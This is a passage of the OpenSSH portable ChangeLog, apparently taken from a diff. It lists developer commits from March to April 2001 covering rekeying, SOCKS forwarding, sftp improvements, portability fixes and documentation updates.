2001/04/08 16:01:36 + [sshd.8] + document ListenAddress addr:port + - markus@cvs.openbsd.org 2001/04/08 13:03:00 + [ssh-add.c] + init pointers with NULL, thanks to danimal@danimal.org + - markus@cvs.openbsd.org 2001/04/08 11:27:33 + [clientloop.c] + leave_raw_mode if ssh2 "session" is closed + - markus@cvs.openbsd.org 2001/04/06 21:00:17 + [auth-rh-rsa.c auth-rhosts.c auth-rsa.c auth2.c channels.c session.c + ssh.c sshconnect.c sshconnect.h uidswap.c uidswap.h] + do gid/groups-swap in addition to uid-swap, should help if /home/group + is chmod 750 + chgrp grp /home/group/, work be deraadt and me, thanks + to olar@openwall.com is comments. we had many requests for this. + - markus@cvs.openbsd.org 2001/04/07 08:55:18 + [buffer.c channels.c channels.h readconf.c ssh.c] + allow the ssh client act as a SOCKS4 proxy (dynamic local + portforwarding). work by Dan Kaminsky and me. + thanks to Dan for this great patch: use 'ssh -D 1080 host' and make + netscape use localhost:1080 as a socks proxy. + - markus@cvs.openbsd.org 2001/04/08 11:24:33 + [uidswap.c] + KNF + +20010408 + - OpenBSD CVS Sync + - stevesk@cvs.openbsd.org 2001/04/06 22:12:47 + [hostfile.c] + unused; typo in comment + - stevesk@cvs.openbsd.org 2001/04/06 22:25:25 + [servconf.c] + in addition to: + ListenAddress host|ipv4_addr|ipv6_addr + permit: + ListenAddress [host|ipv4_addr|ipv6_addr]:port + ListenAddress host|ipv4_addr:port + sshd.8 updates coming. ok markus@ + +20010407 + - (bal) CVS ID Resync of version.h + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/05 23:39:20 + [serverloop.c] + keep the ssh session even if there is no active channel. + this is more in line with the protocol spec and makes + ssh -N -L 1234:server:110 host + more useful. + based on discussion with long time ago + and recent mail from + - deraadt@cvs.openbsd.org 2001/04/06 16:46:59 + [scp.c] + remove trailing / from source paths; fixes pr#1756 + +20010406 + - (stevesk) logintest.c: fix for systems without __progname + - (stevesk) Makefile.in: log.o is in libssh.a + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/05 10:00:06 + [compat.c] + 2.3.x does old GEX, too; report jakob@ + - markus@cvs.openbsd.org 2001/04/05 10:39:03 + [compress.c compress.h packet.c] + reset compress state per direction when rekeying. + - markus@cvs.openbsd.org 2001/04/05 10:39:48 + [version.h] + temporary version 2.5.4 (supports rekeying). + this is not an official release. + - markus@cvs.openbsd.org 2001/04/05 10:42:57 + [auth-chall.c authfd.c channels.c clientloop.c kex.c kexgex.c key.c + mac.c packet.c serverloop.c sftp-client.c sftp-client.h sftp-glob.c + sftp-glob.h sftp-int.c sftp-server.c sftp.c ssh-keygen.c sshconnect.c + sshconnect2.c sshd.c] + fix whitespace: unexpand + trailing spaces. + - markus@cvs.openbsd.org 2001/04/05 11:09:17 + [clientloop.c compat.c compat.h] + add SSH_BUG_NOREKEY and detect broken (=all old) openssh versions. + - markus@cvs.openbsd.org 2001/04/05 15:45:43 + [ssh.1] + ssh defaults to protocol v2; from quisar@quisar.ambre.net + - stevesk@cvs.openbsd.org 2001/04/05 15:48:18 + [canohost.c canohost.h session.c] + move get_remote_name_or_ip() to canohost.[ch]; for portable. ok markus@ + - markus@cvs.openbsd.org 2001/04/05 20:01:10 + [clientloop.c] + for ~R print message if server does not support rekeying. (and fix ~R). + - markus@cvs.openbsd.org 2001/04/05 21:02:46 + [buffer.c] + better error message + - markus@cvs.openbsd.org 2001/04/05 21:05:24 + [clientloop.c ssh.c] + don't request a session for 'ssh -N', pointed out slade@shore.net + +20010405 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/04/04 09:48:35 + [kex.c kex.h kexdh.c kexgex.c packet.c sshconnect2.c sshd.c] + don't sent multiple kexinit-requests. + send newkeys, block while waiting for newkeys. + fix comments. + - markus@cvs.openbsd.org 2001/04/04 14:34:58 + [clientloop.c kex.c kex.h serverloop.c sshconnect2.c sshd.c] + enable server side rekeying + some rekey related clientup. + todo: we should not send any non-KEX messages after we send KEXINIT + - markus@cvs.openbsd.org 2001/04/04 15:50:55 + [compat.c] + f-secure 1.3.2 does not handle IGNORE; from milliondl@ornl.gov + - markus@cvs.openbsd.org 2001/04/04 20:25:38 + [channels.c channels.h clientloop.c kex.c kex.h serverloop.c + sshconnect2.c sshd.c] + more robust rekeying + don't send channel data after rekeying is started. + - markus@cvs.openbsd.org 2001/04/04 20:32:56 + [auth2.c] + we don't care about missing bannerfiles; from tsoome@ut.ee, ok deraadt@ + - markus@cvs.openbsd.org 2001/04/04 22:04:35 + [kex.c kexgex.c serverloop.c] + parse full kexinit packet. + make server-side more robust, too. + - markus@cvs.openbsd.org 2001/04/04 23:09:18 + [dh.c kex.c packet.c] + clear+free keys,iv for rekeying. + + fix DH mem leaks. ok niels@ + - (stevesk) don't use vhangup() if defined(HAVE_DEV_PTMX); also removes + BROKEN_VHANGUP + +20010404 + - OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/04/02 17:32:23 + [ssh-agent.1] + grammar; slade@shore.net + - stevesk@cvs.openbsd.org 2001/04/03 13:56:11 + [sftp-glob.c ssh-agent.c ssh-keygen.c] + free() -> xfree() + - markus@cvs.openbsd.org 2001/04/03 19:53:29 + [dh.c dh.h kex.c kex.h sshconnect2.c sshd.c] + move kex to kex*.c, used dispatch_set() callbacks for kex. should + make rekeying easier. + - todd@cvs.openbsd.org 2001/04/03 21:19:38 + [ssh_config] + id_rsa1/2 -> id_rsa; ok markus@ + - markus@cvs.openbsd.org 2001/04/03 23:32:12 + [kex.c kex.h packet.c sshconnect2.c sshd.c] + undo parts of recent my changes: main part of keyexchange does not + need dispatch-callbacks, since application data is delayed until + the keyexchange completes (if i understand the drafts correctly). + add some infrastructure for re-keying. + - markus@cvs.openbsd.org 2001/04/04 00:06:54 + [clientloop.c sshconnect2.c] + enable client rekeying + (1) force rekeying with ~R, or + (2) if the server requests rekeying. + works against ssh-2.0.12/2.0.13/2.1.0/2.2.0/2.3.0/2.3.1/2.4.0 + - (bal) Oops.. Missed including kexdh.c and kexgex.c in OpenBSD sync. + +20010403 + - OpenBSD CVS Sync + - stevesk@cvs.openbsd.org 2001/04/02 14:15:31 + [sshd.8] + typo; ok markus@ + - stevesk@cvs.openbsd.org 2001/04/02 14:20:23 + [readconf.c servconf.c] + correct comment; ok markus@ + - (stevesk) nchan.c: remove ostate checks and add EINVAL to + shutdown(SHUT_RD) error() bypass for HP-UX. + +20010402 + - (stevesk) log.c openbsd sync; missing newlines + - (stevesk) sshpty.h openbsd sync; PTY_H -> SSHPTY_H + +20010330 + - (djm) Another openbsd-compat/glob.c sync + - (djm) OpenBSD CVS Sync + - provos@cvs.openbsd.org 2001/03/28 21:59:41 + [kex.c kex.h sshconnect2.c sshd.c] + forgot to include min and max params in hash, okay markus@ + - provos@cvs.openbsd.org 2001/03/28 22:04:57 + [dh.c] + more sanity checking on primes file + - markus@cvs.openbsd.org 2001/03/28 22:43:31 + [auth.h auth2.c auth2-chall.c] + check auth_root_allowed for kbd-int auth, too. + - provos@cvs.openbsd.org 2001/03/29 14:24:59 + [sshconnect2.c] + use recommended defaults + - stevesk@cvs.openbsd.org 2001/03/29 21:06:21 + [sshconnect2.c sshd.c] + need to set both STOC and CTOS for SSH_BUG_BIGENDIANAES; ok markus@ + - markus@cvs.openbsd.org 2001/03/29 21:17:40 + [dh.c dh.h kex.c kex.h] + prepare for rekeying: move DH code to dh.c + - djm@cvs.openbsd.org 2001/03/29 23:42:01 + [sshd.c] + Protocol 1 key regeneration log => verbose, some KNF; ok markus@ + +20010329 + - OpenBSD CVS Sync + - stevesk@cvs.openbsd.org 2001/03/26 15:47:59 + [ssh.1] + document more defaults; misc. cleanup. ok markus@ + - markus@cvs.openbsd.org 2001/03/26 23:12:42 + [authfile.c] + KNF + - markus@cvs.openbsd.org 2001/03/26 23:23:24 + [rsa.c rsa.h ssh-agent.c ssh-keygen.c] + try to read private f-secure ssh v2 rsa keys. + - markus@cvs.openbsd.org 2001/03/27 10:34:08 + [ssh-rsa.c sshd.c] + use EVP_get_digestbynid, reorder some calls and fix missing free. + - markus@cvs.openbsd.org 2001/03/27 10:57:00 + [compat.c compat.h ssh-rsa.c] + some older systems use NID_md5 instead of NID_sha1 for RSASSA-PKCS1-v1_5 + signatures in SSH protocol 2, ok djm@ + - provos@cvs.openbsd.org 2001/03/27 17:46:50 + [compat.c compat.h dh.c dh.h ssh2.h sshconnect2.c sshd.c version.h] + make dh group exchange more flexible, allow min and max group size, + okay markus@, deraadt@ + - stevesk@cvs.openbsd.org 2001/03/28 19:56:23 + [scp.c] + start to sync scp closer to rcp; ok markus@ + - stevesk@cvs.openbsd.org 2001/03/28 20:04:38 + [scp.c] + usage more like rcp and add missing -B to usage; ok markus@ + - markus@cvs.openbsd.org 2001/03/28 20:50:45 + [sshd.c] + call refuse() before close(); from olemx@ans.pl + +20010328 + - (djm) Reorder tests and library inclusion for Krb4/AFS to try to + resolve linking conflicts with libcrypto. Report and suggested fix + from Holger Trapp + - (djm) Work around Solaris' broken struct dirent. Diagnosis and suggested + fix from Philippe Levan + - (djm) Rework krbIV tests to get us closer to building on Redhat. Still + doesn't work because of conflicts between krbIV's and OpenSSL's des.h + - (djm) Sync openbsd-compat/glob.c + +20010327 + - Attempt sync with sshlogin.c w/ OpenBSD (mainly CVS ID) + - Fix pointer issues in waitpid() and wait() replaces. Patch by Lutz + Jaenicke + - OpenBSD CVS Sync + - djm@cvs.openbsd.org 2001/03/25 00:01:34 + [session.c] + shorten; ok markus@ + - stevesk@cvs.openbsd.org 2001/03/25 13:16:11 + [servconf.c servconf.h session.c sshd.8 sshd_config] + PrintLastLog option; from chip@valinux.com with some minor + changes by me. ok markus@ + - markus@cvs.openbsd.org 2001/03/26 08:07:09 + [authfile.c authfile.h ssh-add.c ssh-keygen.c ssh.c sshconnect.c + sshconnect.h sshconnect1.c sshconnect2.c sshd.c] + simpler key load/save interface, see authfile.h + - (djm) Reestablish PAM credentials (which can be supplemental group + memberships) after initgroups() blows them away. Report and suggested + fix from Nalin Dahyabhai + +20010324 + - Fixed permissions ssh-keyscan. Thanks to Christopher Linn . + - OpenBSD CVS Sync + - djm@cvs.openbsd.org 2001/03/23 11:04:07 + [compat.c compat.h sshconnect2.c sshd.c] + Compat for OpenSSH with broken Rijndael/AES. ok markus@ + - markus@cvs.openbsd.org 2001/03/23 12:02:49 + [auth1.c] + authctxt is now passed to do_authenticated + - markus@cvs.openbsd.org 2001/03/23 13:10:57 + [sftp-int.c] + fix put, upload to _absolute_ path, ok djm@ + - markus@cvs.openbsd.org 2001/03/23 14:28:32 + [session.c sshd.c] + ignore SIGPIPE, restore in child, fixes x11-fwd crashes; with djm@ + - (djm) Pull out our own SIGPIPE hacks + +20010323 + - OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/03/22 20:22:55 + [sshd.c] + do not place linefeeds in buffer + +20010322 + - (djm) Better AIX no tty fix, spotted by Gert Doering + - (bal) version.c CVS ID resync + - (bal) auth-chall.c auth-passwd.c auth.h auth1.c auth2.c session.c CVS ID + resync + - (bal) scp.c CVS ID resync + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/20 19:10:16 + [readconf.c] + default to SSH protocol version 2 + - markus@cvs.openbsd.org 2001/03/20 19:21:21 + [session.c] + remove unused arg + - markus@cvs.openbsd.org 2001/03/20 19:21:21 + [session.c] + remove unused arg + - markus@cvs.openbsd.org 2001/03/21 11:43:45 + [auth1.c auth2.c session.c session.h] + merge common ssh v1/2 code + - jakob@cvs.openbsd.org 2001/03/21 14:20:45 + [ssh-keygen.c] + add -B flag to usage + - markus@cvs.openbsd.org 2001/03/21 21:06:30 + [session.c] + missing init; from mib@unimelb.edu.au + +20010321 + - (djm) Fix ttyname breakage for AIX and Tru64. Patch from Steve + VanDevender + - (djm) Make sure pam_retval is initialised on call to pam_end. Patch + from Solar Designer + - (djm) Don't loop forever when changing password via PAM. Patch + from Solar Designer + - (djm) Generate config files before build + - (djm) Correctly handle SIA and AIX when no tty present. Spotted and + suggested fix from Mike Battersby + +20010320 + - (bal) glob.c update to added GLOB_LIMITS (OpenBSD CVS). + - (bal) glob.c update to set gl_pathv to NULL (OpenBSD CVS). + - (bal) Oops. Missed globc.h change (OpenBSD CVS). + - (djm) OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/19 17:07:23 + [auth.c readconf.c] + undo /etc/shell and proto 2,1 change for openssh-2.5.2 + - markus@cvs.openbsd.org 2001/03/19 17:12:10 + [version.h] + version 2.5.2 + - (djm) Update RPM spec version + - (djm) Release 2.5.2p1 +- tim@mindrot.org 2001/03/19 18:33:47 [defines.h] + change S_ISLNK macro to work for UnixWare 2.03 +- tim@mindrot.org 2001/03/19 20:45:11 [openbsd-compat/glob.c] + add get_arg_max(). Use sysconf() if ARG_MAX is not defined + +20010319 + - (djm) Seed PRNG at startup, rather than waiting for arc4random calls to + do it implicitly. + - (djm) Add getusershell() functions from OpenBSD CVS + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/18 12:07:52 + [auth-options.c] + ignore permitopen="host:port" if AllowTcpForwarding==no + - (djm) Make scp work on systems without 64-bit ints + - tim@mindrot.org 2001/03/18 18:28:39 [defines.h] + move HAVE_LONG_LONG_INT where it works + - (bal) Use 'NGROUPS' for NeXT Since 'MAX_NGROUPS' is wrapped up in -lposix + stuff. Change suggested by Mark Miller + - (bal) Small fix to scp. %lu vs %ld + - (bal) NeXTStep lacks S_ISLNK. Plus split up S_IS* + - (djm) OpenBSD CVS Sync + - djm@cvs.openbsd.org 2001/03/19 03:52:51 + [sftp-client.c] + Report ssh connection closing correctly; ok deraadt@ + - deraadt@cvs.openbsd.org 2001/03/18 23:30:55 + [compat.c compat.h sshd.c] + specifically version match on ssh scanners. do not log scan + information to the console + - djm@cvs.openbsd.org 2001/03/19 12:10:17 + [sshd.8] + Document permitopen authorized_keys option; ok markus@ + - djm@cvs.openbsd.org 2001/03/19 05:49:52 + [ssh.1] + document PreferredAuthentications option; ok markus@ + - (bal) Minor NeXT fixed. Forgot to #undef NGROUPS_MAX + +20010318 + - (bal) Fixed scp type casing issue which causes "scp: protocol error: + size not delimited" fatal errors when tranfering. + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/17 17:27:59 + [auth.c] + check /etc/shells, too + - tim@mindrot.org 2001/03/17 18:45:25 [compat.c] + openbsd-compat/fake-regex.h + +20010317 + - Support usrinfo() on AIX. Based on patch from Gert Doering + + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/15 15:05:59 + [scp.c] + use %lld in printf, ok millert@/deraadt@; report from ssh@client.fi + - markus@cvs.openbsd.org 2001/03/15 22:07:08 + [session.c] + pass Session to do_child + KNF + - djm@cvs.openbsd.org 2001/03/16 08:16:18 + [sftp-client.c sftp-client.h sftp-glob.c sftp-int.c] + Revise globbing for get/put to be more shell-like. In particular, + "get/put file* directory/" now works. ok markus@ + - markus@cvs.openbsd.org 2001/03/16 09:55:53 + [sftp-int.c] + fix memset and whitespace + - markus@cvs.openbsd.org 2001/03/16 13:44:24 + [sftp-int.c] + discourage strcat/strcpy + - markus@cvs.openbsd.org 2001/03/16 19:06:30 + [auth-options.c channels.c channels.h serverloop.c session.c] + implement "permitopen" key option, restricts -L style forwarding to + to specified host:port pairs. based on work by harlan@genua.de + - Check for gl_matchc support in glob_t and fall back to the + openbsd-compat/glob.[ch] support if it does not exist. + +20010315 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/14 08:57:14 + [sftp-client.c] + Wall + - markus@cvs.openbsd.org 2001/03/14 15:15:58 + [sftp-int.c] + add version command + - deraadt@cvs.openbsd.org 2001/03/14 22:50:25 + [sftp-server.c] + note no getopt() + - (stevesk) ssh-keyscan.c: specify "openbsd-compat/fake-queue.h" + - (bal) Cygwin README change by Corinna Vinschen + +20010314 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/13 17:34:42 + [auth-options.c] + missing xfree, deny key on parse error; ok stevesk@ + - djm@cvs.openbsd.org 2001/03/13 22:42:54 + [sftp-client.c sftp-client.h sftp-glob.c sftp-glob.h sftp-int.c] + sftp client filename globbing for get, put, ch{mod,grp,own}. ok markus@ + - (bal) Fix strerror() in bsd-misc.c + - (djm) Add replacement glob() from OpenBSD libc if the system glob is + missing or lacks the GLOB_ALTDIRFUNC extension + - (djm) Remove -I$(srcdir)/openbsd-compat from CFLAGS, refer to headers + relatively. Avoids conflict between glob.h and /usr/include/glob.h + +20010313 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/12 22:02:02 + [key.c key.h ssh-add.c ssh-keygen.c sshconnect.c sshconnect2.c] + remove old key_fingerprint interface, s/_ex// + +20010312 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/11 13:25:36 + [auth2.c key.c] + debug + - jakob@cvs.openbsd.org 2001/03/11 15:03:16 + [key.c key.h] + add improved fingerprint functions. based on work by Carsten + Raskgaard and modified by me. ok markus@. + - jakob@cvs.openbsd.org 2001/03/11 15:04:16 + [ssh-keygen.1 ssh-keygen.c] + print both md5, sha1 and bubblebabble fingerprints when using + ssh-keygen -l -v. ok markus@. + - jakob@cvs.openbsd.org 2001/03/11 15:13:09 + [key.c] + cleanup & shorten some var names key_fingerprint_bubblebabble. + - deraadt@cvs.openbsd.org 2001/03/11 16:39:03 + [ssh-keygen.c] + KNF, and SHA1 binary output is just creeping featurism + - tim@mindrot.org 2001/03/11 17:29:32 [configure.in] + test if snprintf() supports %ll + add /dev to search path for PRNGD/EGD socket + fix my mistake in USER_PATH test program + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/11 18:29:51 + [key.c] + style+cleanup + - markus@cvs.openbsd.org 2001/03/11 22:33:24 + [ssh-keygen.1 ssh-keygen.c] + remove -v again. use -B instead for bubblebabble. make -B consistent + with -l and make -B work with /path/to/known_hosts. ok deraadt@ + - (djm) Bump portable version number for generating test RPMs + - (djm) Add "static_openssl" RPM build option, remove rsh build dependency + - (bal) Reorder includes in Makefile. + +20010311 + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/10 12:48:27 + [sshconnect2.c] + ignore nonexisting private keys; report rjmooney@mediaone.net + - deraadt@cvs.openbsd.org 2001/03/10 12:53:51 + [readconf.c ssh_config] + default to SSH2, now that m68k runs fast + - stevesk@cvs.openbsd.org 2001/03/10 15:02:05 + [ttymodes.c ttymodes.h] + remove unused sgtty macros; ok markus@ + - deraadt@cvs.openbsd.org 2001/03/10 15:31:00 + [compat.c compat.h sshconnect.c] + all known netscreen ssh versions, and older versions of OSU ssh cannot + handle password padding (newer OSU is fixed) + - tim@mindrot.org 2001/03/10 16:33:42 [configure.in Makefile.in sshd_config] + make sure $bindir is in USER_PATH so scp will work + - OpenBSD CVS Sync + - markus@cvs.openbsd.org 2001/03/10 17:51:04 + [kex.c match.c match.h readconf.c readconf.h sshconnect2.c] + add PreferredAuthentications + +20010310 + - OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/03/09 03:14:39 + [ssh-keygen.c] + create *.pub files with umask 0644, so that you can mv them to + authorized_keys + - deraadt@cvs.openbsd.org 2001/03/09 12:30:29 + [sshd.c] + typo; slade@shore.net + - Removed log.o from sftp client. Not needed. + +20010309 + - OpenBSD CVS Sync + - stevesk@cvs.openbsd.org 2001/03/08 18:47:12 + [auth1.c] + unused; ok markus@ + - stevesk@cvs.openbsd.org 2001/03/08 20:44:48 + [sftp.1] + spelling, cleanup; ok deraadt@ + - markus@cvs.openbsd.org 2001/03/08 21:42:33 + [compat.c compat.h readconf.h ssh.c sshconnect1.c sshconnect2.c] + implement client side of SSH2_MSG_USERAUTH_PK_OK (test public key -> + no need to do enter passphrase or do expensive sign operations if the + server does not accept key). + +20010308 + - OpenBSD CVS Sync + - djm@cvs.openbsd.org 2001/03/07 10:11:23 + [sftp-client.c sftp-client.h sftp-int.c sftp-server.c sftp.1 sftp.c sftp.h] + Support for new draft (draft-ietf-secsh-filexfer-01). New symlink handling + functions and small protocol change. + - markus@cvs.openbsd.org 2001/03/08 00:15:48 + [readconf.c ssh.1] + turn off useprivilegedports by default. only rhost-auth needs + this. older sshd's may need this, too. + - (stevesk) Reliant Unix (SNI) needs HAVE_BOGUS_SYS_QUEUE_H; + Dirk Markwardt + +20010307 + - (bal) OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/03/06 06:11:18 + [ssh-keyscan.c] + appease gcc + - deraadt@cvs.openbsd.org 2001/03/06 06:11:44 + [sftp-int.c sftp.1 sftp.c] + sftp -b batchfile; mouring@etoh.eviladmin.org + - deraadt@cvs.openbsd.org 2001/03/06 15:10:42 + [sftp.1] + order things + - deraadt@cvs.openbsd.org 2001/03/07 01:19:06 + [ssh.1 sshd.8] + the name "secure shell" is boring, noone ever uses it + - deraadt@cvs.openbsd.org 2001/03/07 04:05:58 + [ssh.1] + removed dated comment + - Cygwin contrib improvements from Corinna Vinschen + +20010306 + - (bal) OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/03/05 14:28:47 + [sshd.8] + alpha order; jcs@rt.fm + - stevesk@cvs.openbsd.org 2001/03/05 15:44:51 + [servconf.c] + sync error message; ok markus@ + - deraadt@cvs.openbsd.org 2001/03/05 15:56:16 + [myproposal.h ssh.1] + switch to aes128-cbc/hmac-md5 by default in SSH2 -- faster; + provos & markus ok + - deraadt@cvs.openbsd.org 2001/03/05 16:07:15 + [sshd.8] + detail default hmac setup too + - markus@cvs.openbsd.org 2001/03/05 17:17:21 + [kex.c kex.h sshconnect2.c sshd.c] + generate a 2*need size (~300 instead of 1024/2048) random private + exponent during the DH key agreement. according to Niels (the great + german advisor) this is safe since /etc/primes contains strong + primes only. + + References: + P. C. van Oorschot and M. J. Wiener, On Diffie-Hellman key + agreement with short exponents, In Advances in Cryptology + - EUROCRYPT'96, LNCS 1070, Springer-Verlag, 1996, pp.332-343. + - stevesk@cvs.openbsd.org 2001/03/05 17:40:48 + [ssh.1] + more ssh_known_hosts2 documentation; ok markus@ + - stevesk@cvs.openbsd.org 2001/03/05 17:58:22 + [dh.c] + spelling + - deraadt@cvs.openbsd.org 2001/03/06 00:33:04 + [authfd.c cli.c ssh-agent.c] + EINTR/EAGAIN handling is required in more cases + - millert@cvs.openbsd.org 2001/03/06 01:06:03 + [ssh-keyscan.c] + Don't assume we wil get the version string all in one read(). + deraadt@ OK'd + - millert@cvs.openbsd.org 2001/03/06 01:08:27 + [clientloop.c] + If read() fails with EINTR deal with it the same way we treat EAGAIN + +20010305 + - (bal) CVS ID touch up on sshpty.[ch] and sshlogin.[ch] + - (bal) CVS ID touch up on sftp-int.c + - (bal) CVS ID touch up on uuencode.c + - (bal) CVS ID touch up on auth2.c, serverloop.c, session.c & sshd.c + - (bal) OpenBSD CVS Sync + - deraadt@cvs.openbsd.org 2001/02/17 23:48:48 + [sshd.8] + it's the OpenSSH one + - deraadt@cvs.openbsd.org 2001/02/21 07:37:04 + [ssh-keyscan.c] + inline -> __inline__, and some indent + - deraadt@cvs.openbsd.org 2001/02/21 09:05:54 + [authfile.c] + improve fd handling + - deraadt@cvs.openbsd.org 2001/02/21 09:12:56 + [sftp-server.c] + careful with & and &&; markus ok + - stevesk@cvs.openbsd.org 2001/02/21 21:14:04 + [ssh.c] + -i supports DSA identities now; ok markus@ + - deraadt@cvs.openbsd.org 2001/02/22 04:29:37 + [servconf.c] + grammar; slade@shore.net + - deraadt@cvs.openbsd.org 2001/02/22 06:43:55 + [ssh-keygen.1 ssh-keygen.c] + document -d, and -t defaults to rsa1 + - deraadt@cvs.openbsd.org 2001/02/22 08:03:51 + [ssh-keygen.1 ssh-keygen.c] + bye bye -d + - deraadt@cvs.openbsd.org 2001/02/22 18:09:06 + [sshd_config] + activate RSA 2 key + - markus@cvs.openbsd.org 2001/02/22 21:57:27 + [ssh.1 sshd.8] + typos/grammar from matt@anzen.com + - markus@cvs.openbsd.org 2001/02/22 21:59:44 + [auth.c auth.h auth1.c auth2.c misc.c misc.h ssh.c] + use pwcopy in ssh.c, too + - markus@cvs.openbsd.org 2001/02/23 15:34:53 + [serverloop.c] + debug2->3 + - markus@cvs.openbsd.org 2001/02/23 18:15:13 + [sshd.c] + the random session key depends now on the session_key_int + sent by the 'attacker' + dig1 = md5(cookie|session_key_int); + dig2 = md5(dig1|cookie|session_key_int); + fake_session_key = dig1|dig2; + this change is caused by a mail from anakin@pobox.com + patch based on discussions with my german advisor niels@openbsd.org + - deraadt@cvs.openbsd.org 2001/02/24 10:37:55 + [readconf.c] + look for id_rsa by default, before id_dsa + - deraadt@cvs.openbsd.org 2001/02/24 10:37:26 + [sshd_config] + ssh2 rsa key before dsa key + - markus@cvs.openbsd.org 2001/02/27 10:35:27 + [packet.c] + fix random padding + - markus@cvs.openbsd.org 2001/02/27 11:00:11 + [compat.c] + support SSH-2.0-2.1 ; from Christophe_Moret@hp.com + - deraadt@cvs.openbsd.org 2001/02/28 05:34:28 + [misc.c] + pull in protos + - deraadt@cvs.openbsd.org 2001/02/28 05:36:28 + [sftp.c] + do not kill the subprocess on termination (we will see if this helps + things or hurts things) + - markus@cvs.openbsd.org 2001/02/28 08:45:39 + [clientloop.c] + fix byte counts for ssh protocol v1 + - markus@cvs.openbsd.org 2001/02/28 08:54:55 + [channels.c nchan.c nchan.h] + make sure remote stderr does not get truncated. + remove closed fd's from the select mask. + - markus@cvs.openbsd.org 2001/02/28 09:57:07 + [packet.c packet.h sshconnect2.c] + in ssh protocol v2 use ignore messages for padding (instead of + trailing \0). + - markus@cvs.openbsd.org 2001/02/28 12:55:07 + [channels.c] + unify debug messages + - deraadt@cvs.openbsd.org 2001/02/28 17:52:54 + [misc.c] + for completeness, copy pw_gecos too + - markus@cvs.openbsd.org 2001/02/28 21:21:41 + [sshd.c] + generate a fake session id, too + - markus@cvs.openbsd.org 2001/02/28 21:27:48 + [channels.c packet.c packet.h serverloop.c] + use ignore message to simulate a SSH2_MSG_CHANNEL_DATA message + use random content in ignore messages. + - markus@cvs.openbsd.org 2001/02/28 21:31:32 + [channels.c] + typo + - deraadt@cvs.openbsd.org 2001/03/01 02:11:25 + [authfd.c] + split line so that p will have an easier time next time around + - deraadt@cvs.openbsd.org 2001/03/01 02:29:04 + [ssh.c] + shorten usage by a line + - deraadt@cvs.openbsd.org 2001/03/01 02:45:10 + [auth-rsa.c auth2.c deattack.c packet.c] + KNF + - deraadt@cvs.openbsd.org 2001/03/01 03:38:33 + [cli.c cli.h rijndael.h ssh-keyscan.1] + copyright notices on all source files + - markus@cvs.openbsd.org 2001/03/01 22:46:37 + [ssh.c] + don't truncate remote ssh-2 commands; from mkubita@securities.cz + use min, not max for logging, fixes overflow. + - deraadt@cvs.openbsd.org 2001/03/02 06:21:01 + [sshd.8] + explain SIGHUP better + - deraadt@cvs.openbsd.org 2001/03/02 09:42:49 + [sshd.8] + doc the dsa/rsa key pair files + - deraadt@cvs.openbsd.org 2001/03/02 18:54:31 + [atomicio.c atomicio.h auth-chall.c auth.c auth2-chall.c crc32.h + scp.c serverloop.c session.c sftp-server.8 sftp.1 ssh-add.1 ssh-add.c + ssh-agent.1 ssh-agent.c ssh-keygen.1 ssh.1 sshd.8] + make copyright lines the same format + - deraadt@cvs.openbsd.org 2001/03/03 06:53:12 + [ssh-keyscan.c] + standard theo sweep + - millert@cvs.openbsd.org 2001/03/03 21:19:41 + [ssh-keyscan.c] + Dynamically allocate read_wait and its copies. Since maxfd is + based on resource limits it is often (usually?) larger than FD_SETSIZE. + - millert@cvs.openbsd.org 2001/03/03 21:40:30 + [sftp-server.c] + Dynamically allocate fd_set; deraadt@ OK + - millert@cvs.openbsd.org 2001/03/03 21:41:07 + [packet.c] + Dynamically allocate fd_set; deraadt@ OK + - deraadt@cvs.openbsd.org 2001/03/03 22:07:50 + [sftp-server.c] + KNF + - markus@cvs.openbsd.org 2001/03/03 23:52:22 + [sftp.c] + clean up arg processing. based on work by Christophe_Moret@hp.com + - markus@cvs.openbsd.org 2001/03/03 23:59:34 + [log.c ssh.c] + log*.c -> log.c + - markus@cvs.openbsd.org 2001/03/04 00:03:59 + [channels.c] + debug1->2 + - stevesk@cvs.openbsd.org 2001/03/04 10:57:53 + [ssh.c] + add -m to usage; ok markus@ + - stevesk@cvs.openbsd.org 2001/03/04 11:04:41 + [sshd.8] + small cleanup and clarify for PermitRootLogin; ok markus@ + - stevesk@cvs.openbsd.org 2001/03/04 11:16:06 + [servconf.c sshd.8] + kill obsolete RandomSeed; ok markus@ deraadt@ + - stevesk@cvs.openbsd.org 2001/03/04 12:54:04 + [sshd.8] + spelling + - millert@cvs.openbsd.org 2001/03/04 17:42:28 + [authfd.c channels.c dh.c log.c readconf.c servconf.c sftp-int.c + ssh.c sshconnect.c sshd.c] + log functions should not be passed strings that end in newline as they + get passed on to syslog() and when logging to stderr, do_log() appends + its own newline. + - deraadt@cvs.openbsd.org 2001/03/04 18:21:28 + [sshd.8] + list SSH2 ciphers + - (bal) Put HAVE_PW_CLASS_IN_PASSWD back into pwcopy() + - (bal) Fix up logging since it changed. removed log-*.c + - (djm) Fix up LOG_AUTHPRIV for systems that have it + - (stevesk) OpenBSD sync: + - deraadt@cvs.openbsd.org 2001/03/05 08:37:27 + [ssh-keyscan.c] + skip inlining, why bother + - (stevesk) sftp.c: handle __progname + +20010304 + - (bal) Remove make-ssh-known-hosts.1 since it's no longer valid. + - (bal) Updated contrib/README to remove 'make-ssh-known-hosts' and + give Mark Roth credit for mdoc2man.pl + +20010303 + - (djm) Remove make-ssh-known-hosts.pl, ssh-keyscan is better. + - (djm) Document PAM ChallengeResponseAuthentication in sshd.8 + - (djm) Disable and comment 